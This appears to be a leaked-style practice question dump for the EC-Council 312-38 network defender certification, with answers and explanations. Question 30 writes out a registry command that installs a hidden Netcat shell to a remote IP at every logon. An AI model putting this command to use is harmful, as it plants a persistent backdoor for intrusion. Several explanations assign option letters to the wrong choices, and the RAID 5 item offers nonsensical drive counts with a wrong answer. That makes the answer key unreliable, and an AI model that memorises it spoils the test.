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EC-COUNCIL 312-38 certification exam covers a wide range of network security topics, including network defense fundamentals, network perimeter security, network security threats and vulnerabilities, network security technologies, network security incident response and recovery, and network security policies and procedures. To pass the exam, candidates need to demonstrate a thorough understanding of these topics and their practical application in real-world network security scenarios. The EC-COUNCIL 312-38 certification exam is a rigorous and comprehensive test of a candidate's knowledge and skills, and passing the exam demonstrates a high level of expertise in network security.
The EC-Council Certified Network Defender (CND) exam is designed to test a candidate's knowledge and skills in network security and defense. It is a vendor-neutral certification that is recognized globally and is highly sought after by organizations looking to hire professionals who can protect their networks from cyber threats. 312-38 exam covers topics such as network security protocols, perimeter defense, intrusion detection and prevention, and incident response and recovery.
NEW QUESTION # 22
Which of the following is a standard protocol for interfacing external application software with an information server, commonly a Web server?
- A. TCP
- B. DHCP
- C. IP
- D. CGI
Answer: D
Explanation:
The Common Gateway Interface (CGI) is a standard protocol for interfacing external application software with an information server, commonly a Web server. The task of such an information server is to respond to requests (in the case of web servers, requests from client web browsers) by returning output. When a user requests the name of an entry, the server will retrieve the source of that entry's page (if one exists), transform it into HTML, and send the result. Answer option A is incorrect. DHCP is a Dynamic Host Configuration Protocol that allocates unique (IP) addresses dynamically so that they can be used when no longer needed. A DHCP server is set up in a DHCP environment with the appropriate configuration parameters for the given network. The key parameters include the range or "pool" of available IP addresses, correct subnet masks, gateway, and name server addresses. Answer option B is incorrect. The Internet Protocol (IP) is a protocol used for communicating data across a packet-switched inter-network using the Internet Protocol Suite, also referred to as TCP/IP.IP is the primary protocol in the Internet Layer of the Internet Protocol Suite and has the task of delivering distinguished protocol datagrams (packets) from the source host to the destination host solely based on their addresses. For this purpose, the Internet Protocol defines addressing methods and structures for datagram encapsulation. The first major version of addressing structure, now referred to as Internet Protocol Version 4 (IPv4), is still the dominant protocol of the Internet, although the successor, Internet Protocol Version 6 (IPv6), is being deployed actively worldwide. Answer option D is incorrect. Transmission Control Protocol (TCP) is a reliable, connection-oriented protocol operating at the transport layer of the OSI model. It provides a reliable packet delivery service encapsulated within the Internet Protocol (IP). TCP guarantees the delivery of packets, ensures proper sequencing of data, and provides a checksum feature that validates both the packet header and its data for accuracy. If the network corrupts or loses a TCP packet during transmission, TCP is responsible for retransmitting the faulty packet. It can transmit large amounts of data. Application layer protocols, such as HTTP and FTP, utilize the services of TCP to transfer files between clients and servers.
NEW QUESTION # 23
FILL BLANK
Fill in the blank with the appropriate term. The ______________is a communication protocol that
communicates information between the network routers and the multicast end stations.
Answer:
Explanation:
IGMP
Explanation:
The Internet Group Management Protocol (IGMP) is a communication protocol that communicates information
between the network routers and the multicast end stations. It allows the receivers to request a multicast data
stream from a specific group address. However, multicast traffic is sent to a single MAC address but is
processed by multiple hosts. The IGMP allows an end station to connect to a multicast group and leave it, while
being connected to the group address. It can be effectively used for gaming and showing online videos.
Although it does not actually act as a transport protocol, it operates above the network layer. It is analogous to
ICMP for unicast connections. It is susceptible to some attacks, so firewalls commonly allow the user to disable
it if not needed.
NEW QUESTION # 24
Which of the following router configuration modes to change the terminal settings temporarily, perform basic tests, and lists the system information?
- A. Global Config
- B. the privileged EXEC
- C. UI Config
- D. None
- E. user EXEC
Answer: E
NEW QUESTION # 25
The IP addresses reserved for multicasting belong to which of the following classes?
- A. Class B
- B. Class C
- C. Class E
- D. Class D
Answer: D
NEW QUESTION # 26
CORRECT TEXT
Fill in the blank with the appropriate word. The ____________________risk analysis process analyzes the effect of a risk event deriving a numerical value.
Answer:
Explanation:
quantitative
Explanation:
Quantitative risk analysis is a process to assess the probability of achieving particular project objectives, to quantify the effect of risks on the whole project objective, and to prioritize the risks based on the impact to the overall project risk. The quantitative risk analysis process analyzes the effect of a risk event deriving a numerical value. It also presents a quantitative approach to build decisions in the presence of uncertainty. The inputs for quantitative risk analysis are as follows: Organizational process assets Project scope statement Risk management plan Risk register Project management plan
NEW QUESTION # 27
Which of the following is a network interconnectivity device that translates different communication protocols and is used to connect dissimilar network technologies?
- A. Router
- B. Switch
- C. Gateway
- D. Bridge
Answer: C
Explanation:
A gateway is a network interconnectivity device that translates different communication protocols and is used to connect dissimilar network technologies. It provides greater functionality than a router or bridge because a gateway functions both as a translator and a router. Gateways are slower than bridges and routers. A gateway is an application layer device. Answer option B is incorrect. A router is an electronic device that interconnects two or more computer networks. It selectively interchanges packets of data between them. It is a networking device whose software and hardware are customized to the tasks of routing and forwarding information. It helps in forwarding data packets between networks. Answer option C is incorrect. A bridge is an interconnectivity device that connects two local area networks (LANs) or two segments of the same LAN using the same communication protocols, and provides address filtering between them. Users can use this device to divide busy networks into segments and reduce network traffic. A bridge broadcasts data packets to all the possible destinations within a specific segment. Bridges operate at the data-link layer of the OSI model. Answer option D is incorrect. A switch is a network device that selects a path or circuit for sending a data unit to its next destination. It is not required in smaller networks, but is required in large inter-networks, where there can be many possible ways of transmitting a message from a sender to destination. The function of switch is to select the best possible path. On an Ethernet local area network (LAN), a switch determines from the physical device (Media Access Control or MAC) address in each incoming message frame which output port to forward it to and out of. In a wide area packet-switched network, such as the Internet, a switch determines from the IP address in each packet which output port to use for the next part of its trip to the intended destination.
NEW QUESTION # 28
Which of the following statement holds true in terms of containers?
- A. Container requires more memory space
- B. Container is fully isolated; hence, more secure
- C. Each container runs in its own OS
- D. Process-level isolation happens; a container in hence less secure
Answer: D
NEW QUESTION # 29
Which of the following is a worldwide organization that aims to establish, refine, and promote Internet security standards?
- A. IEEE
- B. WASC
- C. ANSI
- D. ITU
Answer: B
Explanation:
Web Application Security Consortium (WASC) is a worldwide organization that aims to establish, refine, and promote Internet security standards. WASC is vendor-neutral, although members may belong to corporations involved in the research, development, design, and distribution of Web security-related products.
Answer option A is incorrect. ANSI (American National Standards Institute) is the primary organization for fostering the development of technology standards in the United States. ANSI works with industry groups and is the U.S. member of the International Organization for Standardization (ISO) and the International Electro- technical Commission (IEC). Long-established computer standards from ANSI include the American Standard Code for Information Interchange (ASCII) and the Small Computer System Interface (SCSI).
Answer option D is incorrect. The International Telecommunication Union (ITU) is an organization established to standardize and regulate international radio and telecommunications. Its main tasks include standardization, allocation of the radio spectrum, and organizing interconnection arrangements between different countries to allow international phone calls. ITU sets standards for global telecom networks.
The ITU's telecommunications division (ITU-T) produces more than 200 standard recommendations each year in the converging areas of telecommunications, information technology, consumer electronics, broadcasting and multimedia communications. ITU was streamlined into the following three sectors:
ITU-D (Telecommunication Development)
ITU-R (Radio communication)
ITU-T (Telecommunication Standardization)
Answer option C is incorrect. The Institute of Electrical and Electronic Engineers (IEEE) is a society of technical professionals. It promotes the development and application of electro-technology and allied sciences. IEEE develops communications and network standards, among other activities. The organization publishes number of journals, has many local chapters, and societies in specialized areas.
NEW QUESTION # 30
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t
REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?Each correct answer represents a complete solution. Choose all that apply.
- A. You want to perform banner grabbing.
- B. You want to put Netcat in the stealth mode.
- C. You want to set the Netcat to execute command any time.
- D. You want to add the Netcat command to the Windows registry.
Answer: B,C,D
NEW QUESTION # 31
Which of the following are used as a cost estimating technique during the project planning stage?Each correct answer represents a complete solution. Choose three.
- A. Function point analysis
- B. Expert judgment
- C. Delphi technique
- D. Program Evaluation Review Technique (PERT)
Answer: A,B,C
NEW QUESTION # 32
Which field is not included in the TCP header?
- A. Source IP address
- B. Acknowledgment number
- C. Source port
- D. Sequence number
Answer: A
NEW QUESTION # 33
Will is working as a Network Administrator. Management wants to maintain a backup of all the company data as soon as it starts operations. They decided to use a RAID backup storage technology for their data backup plan. To implement the RAID data backup storage, Will sets up a pair of RAID disks so that all the data written to one disk is copied automatically to the other disk as well. This maintains an additional copy of the data.
Which RAID level is used here?
- A. RAID 3
- B. RAID 0
- C. RAID 1
- D. RAID 5
Answer: C
NEW QUESTION # 34
Which of the following is also known as slag code?
- A. Logic bomb
- B. IRC bot
- C. Trojan
- D. Worm
Answer: A
NEW QUESTION # 35
Which of the following standards is a proposed enhancement to the 802.11a and 802.11b wireless LAN (WLAN) specifications that offers quality of service (QoS) features, including the prioritization of data, voice, and video transmissions?
- A. 802.11n
- B. 802.15
- C. 802.11e
- D. 802.11h
Answer: C
NEW QUESTION # 36
Identify the minimum number of drives required to setup RAID level 5.
Multiple
- A. 0
- B. 1
- C. 2
Answer: C
NEW QUESTION # 37
Which of the following is the main international standards organization for the World Wide Web?
- A. W3C
- B. WASC
- C. ANSI
- D. CCITT
Answer: A
NEW QUESTION # 38
Which command is used to change the permissions of a file or directory?
- A. systemctl
- B. rmdir
- C. kill
- D. chmod
Answer: D
NEW QUESTION # 39
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EC-COUNCIL 312-38, or the EC-Council Certified Network Defender (CND) Certification Exam is a respected and globally recognized certification that validates an individual's competency in network defense, security management, and incident response. 312-38 exam is designed for individuals involved with the protection and defense of organizational networks and focuses on the identification and mitigation of network vulnerabilities, as well as the detection and response to network cyberattacks.
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